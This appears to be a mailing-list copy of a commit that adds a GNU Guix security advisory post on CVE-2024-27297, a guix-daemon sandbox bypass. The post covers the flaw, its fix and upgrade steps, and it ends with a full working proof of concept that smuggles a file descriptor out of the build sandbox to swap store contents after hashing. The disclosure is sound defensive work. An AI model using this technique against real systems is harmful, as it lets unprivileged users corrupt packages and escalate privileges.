[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
branch master updated: website: Add post about CVE-2024-27297.
From: |
Ludovic Courtès |
Subject: |
branch master updated: website: Add post about CVE-2024-27297. |
Date: |
Tue, 12 Mar 2024 11:35:05 -0400 |
This is an automated email from the git hooks/post-receive script.
civodul pushed a commit to branch master
in repository guix-artwork.
The following commit(s) were added to refs/heads/master by this push:
new 06d3d03 website: Add post about CVE-2024-27297.
06d3d03 is described below
commit 06d3d0384d703420d50f1ce34279f85f8f8c8f40
Author: John Kehayias <john.kehayias@protonmail.com>
AuthorDate: Tue Mar 12 16:33:42 2024 +0100
website: Add post about CVE-2024-27297.
* website/posts/cve-2024-27297-post.md: New file.
---
website/posts/cve-2024-27297-post.md | 464 +++++++++++++++++++++++++++++++++++
1 file changed, 464 insertions(+)
diff --git a/website/posts/cve-2024-27297-post.md
b/website/posts/cve-2024-27297-post.md
new file mode 100644
index 0000000..abaa521
--- /dev/null
+++ b/website/posts/cve-2024-27297-post.md
@@ -0,0 +1,464 @@
+title: Fixed-Output Derivation Sandbox Bypass (CVE-2024-27297)
+author: John Kehayias
+tags: Security Advisory
+date: 2024-03-12 17:00
+---
+
+A security issue has been identified in
+[`guix-daemon`](https://guix.gnu.org/en/manual/devel/en/html_node/Invoking-guix_002ddaemon.html)
+which allows for [fixed-output
+derivations](https://guix.gnu.org/manual/devel/en/html_node/Derivations.html#index-fixed_002doutput-derivations),
+such as source code tarballs or Git checkouts, to be corrupted by an
+unprivileged user. This could also lead to local privilege escalation.
+This was originally reported to Nix but also affects Guix as we share
+some underlying code from an older version of Nix for the
+`guix-daemon`. Readers only interested in making sure their Guix is up
+to date and no longer affected by this vulnerability can skip down to
+the "Upgrading" section.
+
+# Vulnerability
+
+The basic idea of the attack is to pass file descriptors through Unix
+sockets to allow another process to modify the derivation contents.
+This was first reported to Nix by jade and puckipedia with further
+details and a proof of concept
+[here](https://hackmd.io/03UGerewRcy3db44JQoWvw). Note that the proof
+of concept is written for Nix and has been adapted for GNU Guix below.
+This security advisory is registered as
+[CVE-2024-27297](https://www.cve.org/CVERecord?id=CVE-2024-27297)
+(details are also available at Nix's GitHub [security
+advisory](https://github.com/NixOS/nix/security/advisories/GHSA-2ffj-w4mj-pg37))
+and rated "moderate" in severity.
+
+A fixed-output
+[derivation](https://guix.gnu.org/en/manual/devel/en/html_node/Derivations.html)
+is one where the output hash is known in advance. For instance, to
+produce a source tarball. The GNU Guix build sandbox purposefully
+excludes network access (for security and to ensure we can control and
+reproduce the build environment), but a fixed-output derivation does
+have network access, for instance to download that source tarball.
+However, as stated, the hash of output must be known in advance, again
+for security (we know if the file contents would change) and
+reproducibility (should always have the same output). The
+`guix-daemon` handles the build process and writing the output to the
+store, as a privileged process.
+
+In the build sandbox for a fixed-output derivation, a file descriptor
+to its contents could be shared with another process via a Unix
+socket. This other process, outside of the build sandbox, can then
+modify the contents written to the store, changing them to something
+malicious or otherwise corrupting the output. While the output hash
+has already been determined, these changes would mean a fixed-output
+derivation could have contents written to the store which do not match
+the expected hash. This could then be used by the user or other
+packages as well.
+
+# Mitigation
+
+This security issue (tracked [here](https://issues.guix.gnu.org/69728)
+for GNU Guix) has been fixed by
+[two](https://git.savannah.gnu.org/cgit/guix.git/commit/?id=8f4ffb3fae133bb21d7991e97c2f19a7108b1143)
+[commits](https://git.savannah.gnu.org/cgit/guix.git/commit/?id=ff1251de0bc327ec478fc66a562430fbf35aef42)
+by Ludovic Courtès. Users should make sure they have updated to [this
+second
+commit](https://git.savannah.gnu.org/cgit/guix.git/commit/?id=ff1251de0bc327ec478fc66a562430fbf35aef42)
+to be protected from this vulnerability. Upgrade instructions are in
+the following section.
+
+While several possible mitigation strategies were detailed in the
+original report, the simplest fix is just copy the derivation output
+somewhere else, deleting the original, before writing to the store.
+Any file descriptors will no longer point to the contents which get
+written to the store, so only the `guix-daemon` should be able to
+write to the store, as designed. This is what the Nix project used in
+their [own
+fix](https://github.com/NixOS/nix/commit/244f3eee0bbc7f11e9b383a15ed7368e2c4becc9).
+This does add an additional copy/delete for each file, which may add a
+performance penalty for derivations with many files.
+
+A proof of concept by Ludovic, adapted from the one in the original
+Nix report, is available at the end of this post. One can run this
+code with
+
+```sh
+guix build -f fixed-output-derivation-corruption.scm -M4
+```
+
+This will output whether the current `guix-daemon` being used is
+vulnerable or not. If it is vulnerable, the output will include a line similar
to
+
+```sh
+We managed to corrupt
/gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261,
meaning that YOUR SYSTEM IS VULNERABLE!
+```
+
+The corrupted file can be removed with
+
+```sh
+guix gc -D
/gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*
+```
+
+In general, corrupt files from the store can be found with
+
+```sh
+guix gc --verify=contents
+```
+
+which will also include any files corrupted by through this
+vulnerability. Do note that this command can take a long time to
+complete as it checks every file under `/gnu/store`, which likely has
+many files.
+
+# Upgrading
+
+Due to the severity of this security advisory, we strongly recommend
+all users to upgrade their `guix-daemon` immediately.
+
+For a Guix System the procedure is just reconfiguring the system after
+a `guix pull`, either restarting `guix-daemon` or rebooting. For
+example,
+
+```sh
+guix pull
+sudo guix system reconfigure /run/current-system/configuration.scm
+sudo herd restart guix-daemon
+```
+
+where `/run/current-system/configuration.scm` is the current system
+configuration but could, of course, be replaced by a system
+configuration file of a user's choice.
+
+For Guix running as a package manager on other distributions, one
+needs to `guix pull` with `sudo`, as the `guix-daemon` runs as root,
+and restart the `guix-daemon` service. For example, on a system using
+systemd to manage services,
+
+```sh
+sudo --login guix pull
+sudo systemctl restart guix-daemon.service
+```
+
+Note that for users with their distro's package of Guix (as opposed to
+having used the [install
+script](https://guix.gnu.org/en/manual/devel/en/html_node/Binary-Installation.html))
+you may need to take other steps or upgrade the Guix package as per
+other packages on your distro. Please consult the relevant
+documentation from your distro or contact the package maintainer for
+additional information or questions.
+
+# Conclusion
+
+One of the key features and design principles of GNU Guix is to allow
+unprivileged package management through a secure and reproducible
+[build
+environment](https://guix.gnu.org/en/manual/devel/en/html_node/Build-Environment-Setup.html).
+While every effort is made to protect the user and system from any
+malicious actors, it is always possible that there are flaws yet to be
+discovered, as has happened here. In this case, using the ingredients
+of how file descriptors and Unix sockets work even in the isolated
+build environment allowed for a security vulnerability with moderate
+impact.
+
+Our thanks to jade and puckipedia for the original report, and Picnoir
+for bringing this to the attention of the GNU Guix [security
+team](https://guix.gnu.org/en/security/). And a special thanks to
+Ludovic Courtès for a prompt fix and proof of concept.
+
+Note that there are current efforts to rewrite the `guix-daemon` in
+Guile by Christopher Baines. For more information and the latest news
+on this front, please refer to the [recent blog
+post](https://guix.gnu.org/en/blog/2023/a-build-daemon-in-guile/) and
+[this
+message](https://lists.gnu.org/archive/html/guix-devel/2024-02/msg00253.html)
+on the [guix-devel](https://lists.gnu.org/mailman/listinfo/guix-devel)
+mailing list.
+
+## Proof of Concept
+
+Below is code to check if a `guix-daemon` is vulnerable to this
+exploit. Save this file as `fixed-output-derivation-corruption.scm`
+and run following the instructions above, in "Mitigation." Some
+further details and example output can be found on [issue
+#69728](https://issues.guix.gnu.org/69728#5)
+
+```scheme
+;; Checking for CVE-2024-27297.
+;; Adapted from <https://hackmd.io/03UGerewRcy3db44JQoWvw>.
+
+(use-modules (guix)
+ (guix modules)
+ (guix profiles)
+ (gnu packages)
+ (gnu packages gnupg)
+ (gcrypt hash)
+ ((rnrs bytevectors) #:select (string->utf8)))
+
+(define (compiled-c-code name source)
+ (define build-profile
+ (profile (content (specifications->manifest '("gcc-toolchain")))))
+
+ (define build
+ (with-extensions (list guile-gcrypt)
+ (with-imported-modules (source-module-closure '((guix build utils)
+ (guix profiles)))
+ #~(begin
+ (use-modules (guix build utils)
+ (guix profiles))
+ (load-profile #+build-profile)
+ (system* "gcc" "-Wall" "-g" "-O2" #+source "-o" #$output)))))
+
+ (computed-file name build))
+
+(define sender-source
+ (plain-file "sender.c" "
+ #include <sys/socket.h>
+ #include <sys/un.h>
+ #include <stdlib.h>
+ #include <stddef.h>
+ #include <stdio.h>
+ #include <unistd.h>
+ #include <fcntl.h>
+ #include <errno.h>
+
+ int main(int argc, char **argv) {
+ setvbuf(stdout, NULL, _IOLBF, 0);
+
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+ // Set up an abstract domain socket path to connect to.
+ struct sockaddr_un data;
+ data.sun_family = AF_UNIX;
+ data.sun_path[0] = 0;
+ strcpy(data.sun_path + 1, \"dihutenosa\");
+
+ // Now try to connect, To ensure we work no matter what order we are
+ // executed in, just busyloop here.
+ int res = -1;
+ while (res < 0) {
+ printf(\"attempting connection...\\n\");
+ res = connect(sock, (const struct sockaddr *)&data,
+ offsetof(struct sockaddr_un, sun_path)
+ + strlen(\"dihutenosa\")
+ + 1);
+ if (res < 0 && errno != ECONNREFUSED) perror(\"connect\");
+ if (errno != ECONNREFUSED) break;
+ usleep(500000);
+ }
+
+ // Write our message header.
+ struct msghdr msg = {0};
+ msg.msg_control = malloc(128);
+ msg.msg_controllen = 128;
+
+ // Write an SCM_RIGHTS message containing the output path.
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+ hdr->cmsg_len = CMSG_LEN(sizeof(int));
+ hdr->cmsg_level = SOL_SOCKET;
+ hdr->cmsg_type = SCM_RIGHTS;
+ int fd = open(getenv(\"out\"), O_RDWR | O_CREAT, 0640);
+ memcpy(CMSG_DATA(hdr), (void *)&fd, sizeof(int));
+
+ msg.msg_controllen = CMSG_SPACE(sizeof(int));
+
+ // Write a single null byte too.
+ msg.msg_iov = malloc(sizeof(struct iovec));
+ msg.msg_iov[0].iov_base = \"\";
+ msg.msg_iov[0].iov_len = 1;
+ msg.msg_iovlen = 1;
+
+ // Send it to the othher side of this connection.
+ res = sendmsg(sock, &msg, 0);
+ if (res < 0) perror(\"sendmsg\");
+ int buf;
+
+ // Wait for the server to close the socket, implying that it has
+ // received the commmand.
+ recv(sock, (void *)&buf, sizeof(int), 0);
+ }"))
+
+(define receiver-source
+ (mixed-text-file "receiver.c" "
+ #include <sys/socket.h>
+ #include <sys/un.h>
+ #include <stdlib.h>
+ #include <stddef.h>
+ #include <stdio.h>
+ #include <unistd.h>
+ #include <sys/inotify.h>
+
+ int main(int argc, char **argv) {
+ int sock = socket(AF_UNIX, SOCK_STREAM, 0);
+
+ // Bind to the socket.
+ struct sockaddr_un data;
+ data.sun_family = AF_UNIX;
+ data.sun_path[0] = 0;
+ strcpy(data.sun_path + 1, \"dihutenosa\");
+ int res = bind(sock, (const struct sockaddr *)&data,
+ offsetof(struct sockaddr_un, sun_path)
+ + strlen(\"dihutenosa\")
+ + 1);
+ if (res < 0) perror(\"bind\");
+
+ res = listen(sock, 1);
+ if (res < 0) perror(\"listen\");
+
+ while (1) {
+ setvbuf(stdout, NULL, _IOLBF, 0);
+ printf(\"accepting connections...\\n\");
+ int a = accept(sock, 0, 0);
+ if (a < 0) perror(\"accept\");
+
+ struct msghdr msg = {0};
+ msg.msg_control = malloc(128);
+ msg.msg_controllen = 128;
+
+ // Receive the file descriptor as sent by the smuggler.
+ recvmsg(a, &msg, 0);
+
+ struct cmsghdr *hdr = CMSG_FIRSTHDR(&msg);
+ while (hdr) {
+ if (hdr->cmsg_level == SOL_SOCKET
+ && hdr->cmsg_type == SCM_RIGHTS) {
+ int res;
+
+ // Grab the copy of the file descriptor.
+ memcpy((void *)&res, CMSG_DATA(hdr), sizeof(int));
+ printf(\"preparing our hand...\\n\");
+
+ ftruncate(res, 0);
+ // Write the expected contents to the file, tricking Nix
+ // into accepting it as matching the fixed-output hash.
+ write(res, \"hello, world\\n\", strlen(\"hello,
world\\n\"));
+
+ // But wait, the file is bigger than this! What could
+ // this code hide?
+
+ // First, we do a bit of a hack to get a path for the
+ // file descriptor we received. This is necessary because
+ // that file doesn't exist in our mount namespace!
+ char buf[128];
+ sprintf(buf, \"/proc/self/fd/%d\", res);
+
+ // Hook up an inotify on that file, so whenever Nix
+ // closes the file, we get notified.
+ int inot = inotify_init();
+ inotify_add_watch(inot, buf, IN_CLOSE_NOWRITE);
+
+ // Notify the smuggler that we've set everything up for
+ // the magic trick we're about to do.
+ close(a);
+
+ // So, before we continue with this code, a trip into Nix
+ // reveals a small flaw in fixed-output derivations. When
+ // storing their output, Nix has to hash them twice. Once
+ // to verify they match the \"flat\" hash of the
derivation
+ // and once more after packing the file into the NAR that
+ // gets sent to a binary cache for others to consume. And
+ // there's a very slight window inbetween, where we could
+ // just swap the contents of our file. But the first hash
+ // is still noted down, and Nix will refuse to import our
+ // NAR file. To trick it, we need to write a reference to
+ // a store path that the source code for the smuggler drv
+ // references, to ensure it gets picked up. Continuing...
+
+ // Wait for the next inotify event to drop:
+ read(inot, buf, 128);
+
+ // first read + CA check has just been done, Nix is about
+ // to chown the file to root. afterwards, refscanning
+ // happens...
+
+ // Empty the file, seek to start.
+ ftruncate(res, 0);
+ lseek(res, 0, SEEK_SET);
+
+ // We swap out the contents!
+ static const char content[] = \"This file has been
corrupted!\\n\";
+ write(res, content, strlen (content));
+ close(res);
+
+ printf(\"swaptrick finished, now to wait..\\n\");
+ return 0;
+ }
+
+ hdr = CMSG_NXTHDR(&msg, hdr);
+ }
+ close(a);
+ }
+ }"))
+
+(define nonce
+ (string-append "-" (number->string (car (gettimeofday)) 16)
+ "-" (number->string (getpid))))
+
+(define original-text
+ "This is the original text, before corruption.")
+
+(define derivation-that-exfiltrates-fd
+ (computed-file (string-append "derivation-that-exfiltrates-fd" nonce)
+ (with-imported-modules '((guix build utils))
+ #~(begin
+ (use-modules (guix build utils))
+ (invoke #+(compiled-c-code "sender" sender-source))
+ (call-with-output-file #$output
+ (lambda (port)
+ (display #$original-text port)))))
+ #:options `(#:hash-algo sha256
+ #:hash ,(sha256
+ (string->utf8 original-text)))))
+
+(define derivation-that-grabs-fd
+ (computed-file (string-append "derivation-that-grabs-fd" nonce)
+ #~(begin
+ (open-output-file #$output) ;make sure there's an output
+ (execl #+(compiled-c-code "receiver" receiver-source)
+ "receiver"))
+ #:options `(#:hash-algo sha256
+ #:hash ,(sha256 #vu8()))))
+
+(define check
+ (computed-file "checking-for-vulnerability"
+ #~(begin
+ (use-modules (ice-9 textual-ports))
+
+ (mkdir #$output) ;make sure there's an output
+ (format #t "This depends on ~a, which will grab the file
+descriptor and corrupt ~a.~%~%"
+ #+derivation-that-grabs-fd
+ #+derivation-that-exfiltrates-fd)
+
+ (let ((content (call-with-input-file
+ #+derivation-that-exfiltrates-fd
+ get-string-all)))
+ (format #t "Here is what we see in ~a: ~s~%~%"
+ #+derivation-that-exfiltrates-fd content)
+ (if (string=? content #$original-text)
+ (format #t "Failed to corrupt ~a, \
+your system is safe.~%"
+ #+derivation-that-exfiltrates-fd)
+ (begin
+ (format #t "We managed to corrupt ~a, \
+meaning that YOUR SYSTEM IS VULNERABLE!~%"
+ #+derivation-that-exfiltrates-fd)
+ (exit 1)))))))
+
+check
+```
+
+### About GNU Guix
+
+[GNU Guix](https://guix.gnu.org) is a transactional package manager
+and an advanced distribution of the GNU system that [respects user
+freedom](https://www.gnu.org/distros/free-system-distribution-guidelines.html).
+Guix can be used on top of any system running the Hurd or the Linux
+kernel, or it can be used as a standalone operating system
+distribution for i686, x86_64, ARMv7, AArch64, and POWER9 machines.
+
+In addition to standard package management features, Guix supports
+transactional upgrades and roll-backs, unprivileged package
+management, per-user profiles, and garbage collection. When used as a
+standalone GNU/Linux distribution, Guix offers a declarative,
+stateless approach to operating system configuration management. Guix
+is highly customizable and hackable through
+[Guile](https://www.gnu.org/software/guile) programming interfaces and
+extensions to the [Scheme](http://schemers.org) language.
[Prev in Thread] |
Current Thread |
[Next in Thread] |
- branch master updated: website: Add post about CVE-2024-27297.,
Ludovic Courtès <=